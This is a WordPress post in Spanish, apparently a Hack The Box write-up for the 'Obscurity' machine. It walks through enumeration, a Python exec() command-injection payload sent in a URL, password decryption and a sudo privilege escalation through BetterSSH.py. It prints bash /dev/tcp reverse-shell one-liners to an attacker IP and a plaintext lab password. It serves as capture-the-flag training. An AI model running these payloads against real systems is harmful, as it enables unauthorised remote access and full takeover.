{"id":438,"date":"2020-05-17T18:10:29","date_gmt":"2020-05-17T18:10:29","guid":{"rendered":"http:\/\/infayer.com\/?p=438"},"modified":"2023-10-12T13:04:09","modified_gmt":"2023-10-12T12:04:09","slug":"maquina-obscurity-de-hack-the-box","status":"publish","type":"post","link":"https:\/\/infayer.com\/archivos\/438","title":{"rendered":"M\u00e1quina Obscurity de Hack The Box"},"content":{"rendered":"\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Esta fue una m\u00e1quina\nampliamente interesante, en ella se debe aplicar desde el primer\nmomento bastante lectura de c\u00f3digo fuente en Python, para aprovechar\nciertas caracter\u00edsticas en los mismos y conseguir el prop\u00f3sito.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"590\" height=\"374\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_01.png\" alt=\"\" class=\"wp-image-418\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_01.png 590w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_01-300x190.png 300w\" sizes=\"(max-width: 590px) 100vw, 590px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Resumen:<\/h2>\n\n\n\n<ul>\n<li>Enumeraci\u00f3n de puertos y servicios v\u00eda Nmap<\/li>\n\n\n\n<li>Reconocimiento de plataforma web y descubrimiento de recursos internos<\/li>\n\n\n\n<li>Aprovechamiento de funci\u00f3n <em>exec()<\/em><\/li>\n\n\n\n<li>Obtenci\u00f3n de usuario \/ Captura del fichero user.txt<\/li>\n\n\n\n<li>Escalada de privilegios \/ Captura de fichero root.txt<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeraci\u00f3n:<\/h2>\n\n\n\n<p>Tras una identificaci\u00f3n r\u00e1pida de puertos y servicios con <em>Nmap<\/em> obtenemos el siguiente resultado:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">nmap -sS -sV --open 10.10.10.168<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"859\" height=\"177\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_02.png\" alt=\"\" class=\"wp-image-419\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_02.png 859w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_02-300x62.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_02-768x158.png 768w\" sizes=\"(max-width: 859px) 100vw, 859px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>El puerto 8080 arroja una plataforma web, si se visita v\u00eda navegador se obtiene el siguiente resultado:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">http:\/\/10.10.10.168:8080\/<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"793\" height=\"516\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_03.png\" alt=\"\" class=\"wp-image-420\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_03.png 793w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_03-300x195.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_03-768x500.png 768w\" sizes=\"(max-width: 793px) 100vw, 793px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Revisando detenidamente la plataforma web se observa la siguiente secci\u00f3n descrita como <em>Development<\/em>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"759\" height=\"280\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_04.png\" alt=\"\" class=\"wp-image-421\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_04.png 759w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_04-300x111.png 300w\" sizes=\"(max-width: 759px) 100vw, 759px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Esta ser\u00e1 la pista suficiente para entender que debemos buscar el directorio concreto donde se aloja el fichero <em>SuperSecureServer.py<\/em>. Realizamos un barrido a trav\u00e9s de <em>Wfuzz<\/em>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">wfuzz --sc=200 -w \/usr\/share\/dirb\/wordlists\/common.txt -u http:\/\/10.10.10.168:8080\/FUZZ\/SuperSecureServer.py<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_05.png\" alt=\"\" class=\"wp-image-422\" width=\"522\" height=\"292\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_05.png 670w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_05-300x168.png 300w\" sizes=\"(max-width: 522px) 100vw, 522px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Evidenciando el directorio <em>develop<\/em> que aloja este primer recurso en Python, procedemos a la descarga del mismo y al an\u00e1lisis de c\u00f3digo, identificando la funci\u00f3n <em>exec()<\/em> que emplearemos para conseguir el acceso a la m\u00e1quina.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">curl -s http:\/\/10.10.10.168:8080\/develop\/SuperSecureServer.py -o SuperSecureServer.py\ncat SuperSecureServer.py | grep exec<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"911\" height=\"179\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_06.png\" alt=\"\" class=\"wp-image-423\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_06.png 911w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_06-300x59.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_06-768x151.png 768w\" sizes=\"(max-width: 911px) 100vw, 911px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Despu\u00e9s de varias pruebas con el c\u00f3digo fuente ejecutado de forma interna, se identifica el <em>payload<\/em> necesario para conseguir ejecutar comandos en la m\u00e1quina objetivo: <em>&#8216;;os.system(\u00abcomando\u00bb);&#8217;<\/em>.<\/p>\n\n\n\n<p>Se emplea lo siguiente para conseguir una <em>reverse shell<\/em> y ganar acceso a la m\u00e1quina:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">';os.system(\"bash -c 'bash -i >&amp; \/dev\/tcp\/10.10.15.132\/5544 0>&amp;1'\");'<\/pre>\n\n\n\n<p>Tomando en cuenta la codificaci\u00f3n en formato <em>URL<\/em> para los caracteres espacio (<em>%20<\/em>), comillas dobles (<em>%22<\/em>) y signo de mayor que (<em>%3E<\/em>).<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">';os.system(%22bash%20-c%20'bash%20-i%20%3E&amp;amp;%20\/dev\/tcp\/10.10.15.132\/5544%200%3E&amp;amp;1'%22);'<\/pre>\n\n\n\n<p>Con esto ya asumido\npodemos conseguir el prop\u00f3sito.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">nc -lvnp 5544\ncurl \"http:\/\/10.10.10.168:8080\/';os.system(%22bash%20-c%20'bash%20-i%20%3E&amp;%20\/dev\/tcp\/10.10.15.132\/5544%200%3E&amp;1'%22);'\"\nid; hostname; hostname -I<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"771\" height=\"341\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_07.png\" alt=\"\" class=\"wp-image-424\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_07.png 771w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_07-300x133.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_07-768x340.png 768w\" sizes=\"(max-width: 771px) 100vw, 771px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Obtenci\u00f3n de\nusuario:<\/h2>\n\n\n\n<p>Identificamos como usuario del sistema a <em>robert<\/em> y dentro de su directorio principal se ubican los siguiente recursos:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_08.png\" alt=\"\" class=\"wp-image-425\" width=\"512\" height=\"155\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_08.png 650w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_08-300x91.png 300w\" sizes=\"(max-width: 512px) 100vw, 512px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>En donde b\u00e1sicamente\ncada uno de estos ficheros son:<\/p>\n\n\n\n<ul>\n<li><strong><em>check.txt.-<\/em><\/strong> Cuenta con el mensaje que se emplear\u00e1 para el descifrado de out.txt.<\/li>\n\n\n\n<li><strong><em>out.txt.-<\/em><\/strong> Primer fichero cifrado que cuenta con clave para descifrar el siguiente recurso.<\/li>\n\n\n\n<li><strong><em>passwordreminder.txt.-<\/em><\/strong> Fichero cifrado que cuenta con la password del usuario robert.<\/li>\n\n\n\n<li><strong><em>SuperSecureCrypt.py.-<\/em><\/strong> Script para el cifrado\/descifrado a partir de una clave.<\/li>\n<\/ul>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"791\" height=\"87\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_09.png\" alt=\"\" class=\"wp-image-426\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_09.png 791w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_09-300x33.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_09-768x84.png 768w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_09-780x87.png 780w\" sizes=\"(max-width: 791px) 100vw, 791px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Por lo tanto emplearemos <em>SuperSecureCrypt.py<\/em> para conseguir llegar a la contrase\u00f1a del usuario <em>robert<\/em>. Si vemos la ayuda de este <em>script<\/em> obtenemos lo siguiente:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_10.png\" alt=\"\" class=\"wp-image-427\" width=\"545\" height=\"205\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_10.png 698w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_10-300x113.png 300w\" sizes=\"(max-width: 545px) 100vw, 545px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Lo primero ser\u00e1 conseguir descifrar el fichero <em>out.txt<\/em> a partir del <em>string<\/em> (clave) del fichero <em>check.txt<\/em>, todo esto depositado en la siguiente ruta: <em>\/tmp\/first_password.txt<\/em>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python3 SuperSecureCrypt.py -i out.txt -o \/tmp\/first_password.txt -k 'Encrypting this file with your key should result in out.txt, make sure your key is correct!' -d<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"802\" height=\"332\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_11.png\" alt=\"\" class=\"wp-image-428\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_11.png 802w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_11-300x124.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_11-768x318.png 768w\" sizes=\"(max-width: 802px) 100vw, 802px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">cat \/tmp\/first_password.txt<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"799\" height=\"92\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_12.png\" alt=\"\" class=\"wp-image-429\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_12.png 799w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_12-300x35.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_12-768x88.png 768w\" sizes=\"(max-width: 799px) 100vw, 799px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Luego vamos con el siguiente fichero: <em>passwordreminder.txt<\/em> que ser\u00e1 descifrado con la clave <em>alexandrovich<\/em> y nuevamente depositado en un tercer fichero (con el nombre que deseemos): <em>\/tmp\/password_robert.txt<\/em>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python3 SuperSecureCrypt.py -i passwordreminder.txt -o \/tmp\/password_robert.txt -k 'alexandrovich' -d<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"801\" height=\"286\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_13.png\" alt=\"\" class=\"wp-image-430\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_13.png 801w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_13-300x107.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_13-768x274.png 768w\" sizes=\"(max-width: 801px) 100vw, 801px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">cat \/tmp\/password_robert.txt<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"590\" height=\"89\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_14.png\" alt=\"\" class=\"wp-image-431\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_14.png 590w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_14-300x45.png 300w\" sizes=\"(max-width: 590px) 100vw, 590px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Ya con esto conseguido, nos toca conectarnos a trav\u00e9s de <em>SSH<\/em> con las credenciales del usuario <em>robert<\/em> y hacernos con la <em>flag<\/em> de <em>user<\/em>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"770\" height=\"112\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_15.png\" alt=\"\" class=\"wp-image-432\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_15.png 770w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_15-300x44.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_15-768x112.png 768w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Escalada de\nprivilegios:<\/h2>\n\n\n\n<p>Para la escalada de privilegios y observando el resultado de <em>sudo -l<\/em>, comprendemos que todo pasa por emplear el recurso existente en el directorio <em>BetterSSH<\/em>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sudo -l<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"768\" height=\"175\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_16.png\" alt=\"\" class=\"wp-image-433\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_16.png 768w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_16-300x68.png 300w\" sizes=\"(max-width: 768px) 100vw, 768px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ls -la<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_17.png\" alt=\"\" class=\"wp-image-434\" width=\"505\" height=\"119\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_17.png 571w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_17-300x71.png 300w\" sizes=\"(max-width: 505px) 100vw, 505px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Despu\u00e9s de algunas pruebas, se identific\u00f3 que el <em>script<\/em> cuenta con una inconsistencia en su flujo, por tanto es posible ejecutar comandos con m\u00e1ximos privilegios mientras pongamos por delante lo siguiente: \u201c<em>-u root<\/em>\u201d<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"800\" height=\"243\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_18.png\" alt=\"\" class=\"wp-image-435\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_18.png 800w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_18-300x91.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_18-768x233.png 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>De esta manera podemos hacernos con la <em>flag<\/em> del <em>root<\/em>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sudo python3 \/home\/robert\/BetterSSH\/BetterSSH.py\nEnter username: robert\nEnter password: SecThruObsFTW\nrobert@Obscure$ -u root cat \/root\/root.txt<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"761\" height=\"139\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_19.png\" alt=\"\" class=\"wp-image-436\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_19.png 761w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_19-300x55.png 300w\" sizes=\"(max-width: 761px) 100vw, 761px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Si adicionalmente buscamos hacernos con una sesi\u00f3n de <em>root<\/em>, podr\u00edamos hacernos una <em>reverse shell<\/em> de la siguiente manera:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">echo \"bash -i >&amp; \/dev\/tcp\/10.10.15.123\/2233 0>&amp;1\" > .hell.sh\nsudo python3 \/home\/robert\/BetterSSH\/BetterSSH.py\nEnter username: robert\nEnter password: SecThruObsFTW\n-u root bash \/tmp\/.hell.sh\nid; hostname; hostname -I<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"185\" src=\"http:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_20-1024x185.png\" alt=\"\" class=\"wp-image-437\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_20-1024x185.png 1024w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_20-300x54.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_20-768x139.png 768w, https:\/\/infayer.com\/wp-content\/uploads\/2020\/05\/ent_20200517_20.png 1225w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Como he dicho en\notras ocasiones, eso ya depende de la necesidad que tengamos. Conmigo\nser\u00e1 hasta la pr\u00f3xima entrada.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esta fue una m\u00e1quina ampliamente interesante, en ella se debe aplicar desde el primer momento bastante lectura de c\u00f3digo fuente en Python, para aprovechar ciertas caracter\u00edsticas en los mismos y conseguir el prop\u00f3sito.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","footnotes":""},"categories":[10,9],"tags":[],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts\/438"}],"collection":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/comments?post=438"}],"version-history":[{"count":8,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts\/438\/revisions"}],"predecessor-version":[{"id":2550,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts\/438\/revisions\/2550"}],"wp:attachment":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/media?parent=438"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/categories?post=438"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/tags?post=438"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}